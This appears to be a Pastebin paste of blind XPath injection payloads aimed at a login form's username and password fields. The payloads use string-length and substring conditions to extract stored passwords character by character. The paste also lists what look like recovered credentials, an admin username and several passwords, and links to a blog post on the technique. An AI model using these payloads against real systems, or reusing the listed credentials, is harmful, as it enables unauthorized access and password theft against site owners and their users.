aekaek

xpath blind

Jan 14th, 2018
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.37 KB | None | 0 0
  1. username=aaaa'] | /users/user[1]/string-length(username) > 10 | /users/user[username='aaaaaa&password=a
  2.  
  3. username=aaaa'] | substring(//users[user=0]/password,1,1) = 'a' | /users/user[username='aaaaaa&password=a
  4.  
  5. username = admIn
  6. Password = passW0
  7. Password2 = useeerr
  8. Password3 = kimonn
  9. https://www.trustwave.com/Resources/SpiderLabs-Blog/Be-Off-the-Beaten-XPath,-Go-Blind/
Add Comment
Please, Sign In to add comment